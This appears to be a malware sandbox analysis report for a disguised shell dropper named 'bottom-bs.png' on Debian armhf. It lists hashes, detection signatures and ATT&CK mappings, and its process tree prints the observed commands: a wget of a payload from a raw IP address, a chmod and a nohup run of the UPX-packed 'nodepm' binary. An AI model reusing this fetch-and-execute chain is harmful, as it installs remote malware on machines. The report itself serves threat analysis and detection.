0c1176b0f3978db6413b37502e02dcef404869bde6676b5cd1d09ecacb9e11a8

Analysis

max time kernel
2s
max time network
3s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
27/07/2026, 22:59

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
bottom-bs.png
Size 712B
Sample260727-2ydfdsdg23
SHA256 0c1176b0f3978db6413b37502e02dcef404869bde6676b5cd1d09ecacb9e11a8
MD5 fd34c4e820ad3c9d86037fbfe637ae55
SHA1 a8f184f88d74b2af148ed5325ec97012eedad4c6
SHA512 0ebf1390d9e66ab25f51f931fca1329e3ac8b4cbda46ec458650797ed1a342e85091fa78b692234ccf9f9b586f5a7a624079ee2a6e2b1377e4066a67874d841a
TLSH
T1E00147F1731137B2B39A0A05B15D973E157F7F41ABE5BA0631B0275AE814F29A22EA10
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion upx

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
673	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/nodepm	674	nohup

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/fstream-1.dat	upx

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/nodepm	wget

/tmp/bottom-bs.png
/tmp/bottom-bs.png
1⤵
PID:644
- /usr/bin/wget
  wget -O ./nodepm --no-check-certificate -T 600 -t 2 http://212.83.185.19//footerss.png
  2⤵
  - Writes file to tmp directory
  PID:654
- /bin/chmod
  chmod u+x ./nodepm
  2⤵
  - File and Directory Permissions Modification
  PID:673
- /usr/bin/nohup
  nohup ./nodepm
  2⤵
  - Executes dropped EXE
  PID:674
- /tmp/nodepm
  ./nodepm
  2⤵
  PID:674
- /bin/sh
  /bin/sh ./nodepm
  2⤵
  PID:674

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

nodepm

Path /tmp/nodepm
Size 5.8MB
SHA256 6abc9ae5cbd7a50ed329b860746a71b56a2b7b96e95a742ed2a92d4028b93bac
MD5 d455aecadbe176916bf9ab1278226ac1
SHA1 21fe92636b8343e5ba6ce982b121198d73bdb174
SHA512 d5ccae2e179f140a720beafc01601a6de762179575df5902736813006a48a776e78f51d0d5d9b878f94acf71c5c2fd28d043706b9cc076fb82ed2bd0132e2161
SSDEEP 98304:uJ7cW9OgpvFx/cA69D9NjsoCypQt1sBa+W6vS/3vuBxQLp98/vYpR4W6xyMu/mr5:uZcW9Ogpv4AKHjs9E9H6e49mvcR4f8Pu
TLSH
T1D5563387048225F2F6813D08A13CB8E03D5579135D4ABA735C87DAD9A9BBCCED197F0A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download